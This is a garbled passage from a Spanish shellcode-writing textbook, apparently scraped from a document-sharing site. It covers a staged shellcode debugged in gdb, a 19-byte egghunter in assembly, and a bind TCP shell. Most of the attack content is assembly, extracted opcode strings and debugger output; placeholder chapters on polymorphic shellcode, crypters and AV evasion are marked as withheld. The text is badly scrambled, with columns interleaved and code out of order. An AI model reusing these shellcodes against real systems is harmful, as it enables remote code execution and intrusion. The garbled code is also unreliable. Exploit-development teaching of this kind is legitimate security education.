de la misma forma que antes.
En el terminal 2, abriremos stage1 con el depurador y desensamblaremos el cdigo de _start conforme a los siguientes pasos:
0x08048080 <+0>:
xor
ebx,ebx
0x080480af <+47>:
mov
ebx,esp
0x08048082 <+2>:
mul
ebx
0x080480b1 <+49>:
shr
ebx,0xc
0x08048084 <+4>:
push
ebx
0x080480b4 <+52>:
shl
ebx,0xc
0x08048085 <+5>:
inc
ebx
0x080480b7 <+55>:
mov
al,0x7d
0x08048086 <+6>:
push
ebx
0x080480b9 <+57>:
int
0x80
0x08048087 <+7>:
push
0x2
0x080480bb <+59>:
pop
ebx
0x08048089 <+9>:
mov
al,0x66
0x080480bc <+60>:
mov
ecx,esp
93
0x080480be <+62>:
cdq
0x080480bf <+63>:
mov
dh,0xc
0x080480c1 <+65>:
mov
al,0x3
0x080480c3 <+67>:
int
0x80
0x080480c5 <+69>:
jmp
ecx

>>>
nal e introduciremos en la consola de netcat de nuevo TEST y

pulsaremos ENTER:

connect to [127.0.0.1]
[127.0.0.1] 39764
from
(UNKNOWN)
TEST[enter]
Como es lgico, vemos el cdigo original de nuestra shellcode.
Pondremos un breakpoint justo al realizar el CONNECT y otro
antes de realizar el salto final a ECX para ejecutar al shellcode
siguiente. Entonces, ejecutaremos el cdigo en el depurador.
Para ello, tendremos que escribir en gdb:
Veremos que no se ha procesado por la shellcode. Vamos a

ejecutar mediante stepi una a una el bloque hasta llegar justo
antes de la INT 0x80. Dicho bloque se encargar de leer lo que
llega y almacenarlo conforme vimos en la seccin anterior. Por
lo tanto, tendremos que poner:
>>> b *0x080480bc
Breakpoint 1 at 0x80480bc
>>> b *0x080480c5
Breakpoint 2 at 0x80480c5
>>> r
Habremos alcanzado el primer punto de interrupcin y tendremos la conexin con netcat establecida. Cambiaremos de termi-
>>>
stepi
>>>
stepi
>>>
stepi
>>>
stepi
Justo en este momento (mov al, 0x3) estamos indicando que

vamos a llamar a la syscall read() en cuanto ejecutemos la INT
0x80. Si mostramos los registros, veremos que EBX contiene
el descriptor del socket, ECX apunta al tope de la pila y EDX (el
94
contador) tiene el valor 0xc00 (3072). Vamos a ejecutar mediante el comando stepi la INT 0x80 para que lea lo recibido en el
socket y alcance el siguiente punto de interrupcin (antes de
ejecutar el salto a ECX):
>>>
stepi
cs
0x73
115
ss
0x7b
123
ds
0x7b
123
es
0x7b
123
fs
0x0 0
gs
0x0 0
>>>
Si mostramos los registros veremos la informacin que nos interesa:
>>> info registers
Concretamente, el salto ser al valor que contenga el registro

ECX (jmp ecx) para ejecutar la segunda shellcode. Es por ello
que debemos de tener en dicha direccin de memoria (corresponde con la pila y tiene los permisos de lectura, escritura y ejecucin) los OpCodes preparados de la misma.
eax
0xfffffff2 -14
ecx
0xbffff418 -1073744872
edx
0xc00
ebx
0x3 3
esp
0xbffff418 0xbffff418
ebp
0x0 0x0
>>> x/10xb $ecx
esi
0x0 0
>>> x/10xb $esp
edi
0x3 3
eip
<_start+69>
0x80480c5
eflags
0x286
3072
Podemos comprobarlo con el siguiente comando (y tambin

con el registro ESP ya que apuntar a la misma direccin):
0 x 8 0 4 8 0 c 5
[ PF SF IF ]
95
Y como siempre se dice que una imagen vale ms que mil palabras, podemos ver dnde se ejecutar la shellcode en la siguiente imagen:
96
Por ejemplo, en un servidor intentamos explotar una vulnerabilidad en una aplicacin pasando un cdigo malicioso a travs de
un campo de entrada. Supongamos que encontramos un campo entre los mltiples que podra tener (y cada uno con un tamao diferente) vulnerable a un ataque del tipo buffer overflow pero su tamao es tan pequeo que no podramos almacenarla. La idea de esta tcnica, se resume a continuacin:
Egghunter
shellcodes
Desarrollo
A veces,
una shellcode
conforme
1.
Desarrollo
genrico
en C hemos comentado en secciones anteriores, es mayor que el espacio del que disponemos
en el buffer.
Enviamos nuestra shellcode a travs de uno de los campos

que lo permitan.
Enviamos nuestro exploit al campo vulnerable.
El proceso finaliza en un crash.
Para solucionarlo, podemos emplear una tcnica denominada

egg-hunter que emplea otro almacenamiento local de la
shellcode en un espacio mayor. En una primera etapa muy pequea de la shellcode, simplemente buscaremos en la memoria disponible en busca de una marca que indicar el comienzo de la segunda shellcode mayor en tamao y que ser la que
realizar las acciones definidas. Dicha marca se denomina
egg y el algoritmo para encontrarlo egg hunter. Al ser en
dos o ms partes, por eso se denomina tambin como multistaged shellcode.
Ejecuta nuestro egghunter que buscar en memoria nuestro egg o marca.

Cuando lo encuentre, saltar a ejecutar el cdigo de la
shellcode tras la marca que hemos puesto.
Puede consultarse el documento disponible en

http://www.hick.org/code/skape/papers/egghunt-shellcode.pdf
para ampliar informacin.
97
Lo primero que vamos a definir, ser el cdigo para la primera

shellcode en ensamblador. Usaremos como marca D==8 y el
cdigo en ensamblador, se ha optimizado para que sea lo ms
corto posible (19 bytes). Por ejemplo, en vez de usar la tcnica
JMP-CALL-POP se emplea una direccin siempre vlida. El cdigo fuente lo denominaremos egghunter.asm y ser como:
Compilamos, enlazamos y generamos los OpCodes como de

costumbre:
$ nasm -f elf32 -o egghunter.o egghunter.asm
global _start
$ ld -o egghunter egghunter.o
$ objdump -d ./egghunter | grep
-f1-6 -d' '|tr -s ' '|tr '\t' ' '|sed 's/ $//
'|sed 's/$/"/g'
section .text
_start:
mov eax, addr
addr: db 0x1
; Dir. vlida
mov ebx, dword 0x383D3D43
; egg -1
"\xb8\x72\x80\x04\x08\xbb\x43\x3d\x3d\x38\x43\
x40\x39\x18\x75\xfb\xff\xe0\x01"
; 0x383d3d44 -1
inc ebx
; No guardar hardcode
next_addr:
inc eax
; Inc. dir. memoria
Para la siguiente parte que sera el second stage payload, vamos a codificar una simple shellcode que muestre que ha sido
encontrada en pantalla. Para ello, simplemente tendremos que
crear el fichero showegg.asm con:
cmp dword [eax], ebx ; egg en memoria?

; Si: ZF=1
jne next_addr
; ZF=0 no encontrado
jmp eax
; Encontrado! Saltar
global _start
98
section .text
get_address:
call shellcode
_start:
message db "Encontrado!", 0xA
jmp short get_address ; jmp call pop
Compilamos, enlazamos, ejecutamos el fichero y obtenemos
los OpCodes del mismo con:
shellcode:
pop ecx
; Arg2 (dir. Encontrado)
xor eax, eax
$ nasm -f elf32 -o showegg.o showegg.asm
push eax
; Stack para apilar msg
mov al, 0x4
; syscall write
; Arg1: stdout
xor edx, edx

mov dl, 12
; Arg3: len(msg)
int 0X80
xor eax, eax
mov al, 0x1
$ ./showegg
Encontrado!
xor ebx, ebx

mov bl, 0x1
$ ld -o showegg showegg.o
; exit syscall
$ objdump -d ./showegg | grep '[0-9a-f]:'|grep

-v 'file'|cut -f2 -d:|cut -f1-6 -d' '|tr -s '
'|tr '\t' ' '|sed 's/ $//g'|sed 's/
/\\x/g'|paste -d '' -s |sed 's/^/"/'|sed 's/$/
"/g'
"\xeb\x16\x59\x31\xc0\x50\xb0\x04\x31\xdb\xb3\
x01\x31\xd2\xb2\x0c\xcd\x80\x31\xc0\xb0\x01\xc
d\x80\xe8\xe5\xff\xff\xff\x45\x6e\x63\x6f\x6e\
x74\x72\x61\x64\x6f\x21\x0a"
int 0x80
99
Lo siguiente, ser escribir un cdigo en C para comprobar el correcto funcionamiento del egghunter y la shellcode con la marca o egg que hemos puesto. El cdigo ser findegg.c como
el siguiente:
100
Polymorphic
Shellcode
En este captulo,
aprenderemos algunas
tcnicas que se pueden
aplicar para crear un
cdigo polimrfico. Dicho
cdigo, evadir la mayora
de los mecanismos de
proteccin.
Polymorphic Shellcodes
Captulo
eliminado
Desarrollo
EsteDesarrollo
captulo ha genrico
sido eliminado
intencionadamente. Tras la cele1.
en C
bracin de SecAdmin 2015 (http://www.secadmin.es) en Sevilla
ser liberado.
102
Custom Crypter
En este captulo
escribiremos nuestro
propio crypter que como la
propia palabra indica, nos
permitir cifrar el
contenido del cdigo a
ejecutar mediante tcnicas
criptogrficas.
Custom Crypter
Captulo
eliminado
Desarrollo
EsteDesarrollo
captulo ha genrico
sido eliminado
en C
bracin de Sh3llcon 2016 (http://www.sh3llcon.es) en Santander ser liberado.
104
Windows x64
Shellcode
Igual que en GNU/Linux, en

los sistemas Microsoft
Windows tambin podemos
ejecutar shellcodes. En
este captulo veremos
cmo emplear una
shellcode y evadirla de
algunos AVs tras su
sencilla modificacin
manual.
Windows x64 Shellcode
Captulo
eliminado
Desarrollo
EsteDesarrollo
captulo ha genrico
sido eliminado
en C
bracin de Hackr0n 2016 (http://www.hackron.com) en Santa
Cruz de Tenerife ser liberado.
106

Libro Shellcodes - Hacking

Cargado por

Copyright:

Formatos disponibles

Libro Shellcodes - Hacking

Cargado por

Información del documento

Descripción original:

Derechos de autor

Formatos disponibles

Compartir este documento

Compartir o incrustar documentos

Opciones para compartir

¿Le pareció útil este documento?

¿Este contenido es inapropiado?

Copyright:

Formatos disponibles

Libro Shellcodes - Hacking

Cargado por

Copyright:

Formatos disponibles

Writing, debugging, bypassing AVs & exploiting shellcodes

Pedro C. aka @NN2ed_s4ur0n

Reversing y Exploiting, para poder desarrollar sus propias

Por ello, esta gua recoge algunos ejercicios para el desarrollo

Pedro C. aka s4ur0n

Shellcode BIND TCP

struct sockaddr_in server_addr;

El cdigo prototipo en C sera como el siguiente y le denominaremos bindtcp.c:

bind(fd, (struct sockaddr *) &server_addr, 16);

newfd = accept(fd, NULL, NULL);

execve(argv[0], &argv[0], NULL);

Para comprobar el funcionamiento del cdigo, simplemente lo

El cdigo, simplemente realiza las siguientes funciones:

$ gcc -o tcpbind tcpbind.c

Crea un socket TCP

Lo vincula a una direccin IP y un puerto

Podemos comprobar el correcto funcionamiento con el comando:

Cabe destacar la funcin dup2 para realizar las redirecciones

$ sudo netstat -atunp | grep 2015

Por tanto, ya podremos conectar a la mquina de destino con

En la siguiente seccin, veremos los conceptos bsicos para

Shellcode BIND TCP

htonl(0, 0xc10000, 1, 0x804837d)

$ sudo ltrace ./tcpbind

$ sudo strace ./tcpbind

execve("./tcpbind", ["./tcpbind"], [/* 35 vars */]) =

mmap2(NULL, 8192, PROT_READ|PROT_WRITE, MAP_PRIVATE|MAP_ANONYMOUS, -1, 0) = 0xb7719000

mmap2(0xb770b000, 10876, PROT_READ|PROT_WRITE,

mmap2(NULL, 4096, PROT_READ|PROT_WRITE, MAP_PRIVATE|MAP_ANONYMOUS, -1, 0) = 0xb7563000

mprotect(0xb7708000, 8192, PROT_READ)

fstat64(3, {st_mode=S_IFREG|0644, st_size=43989,

mprotect(0xb773d000, 4096, PROT_READ)

mmap2(NULL, 43989, PROT_READ, MAP_PRIVATE, 3, 0) =

socket(PF_INET, SOCK_STREAM, IPPROTO_IP) = 3

Podemos incluir el comando de la forma siguiente para poder

$ strace -o systemcalls.txt -c ./bindtcp

mmap2(0xb7708000, 12288, PROT_READ|PROT_WRITE,

Ejecutaremos el binario y desde otro terminal, conectaremos,

------ ----------- ----------- --------- --------- ---------------0.00

------ ----------- ----------- --------- --------- ---------------100.00

Como en nuestro cdigo fuente en C, hemos empleado

#define __NR_socketcall 102

Como se esperaba, cualquier llamada del sistema para los

Shellcode BIND TCP

mov al, 102

xor ebx, ebx

; Apilar parmetros del socket

Lo primero que necesitaremos, ser obtener el descriptor del

xor ecx, ecx

mov ecx, esp

; Cargar direccin del

Con ello, en el registro EAX tendremos el descriptor del socket

mov esi, eax

Ahora, debemos de realizar el bind bind(sockfd, (struct

xor eax, eax

mov al, 102

xor ebx, ebx

mov ecx, esp

; Dir. array parmetros

int (ret)() = (int()())code;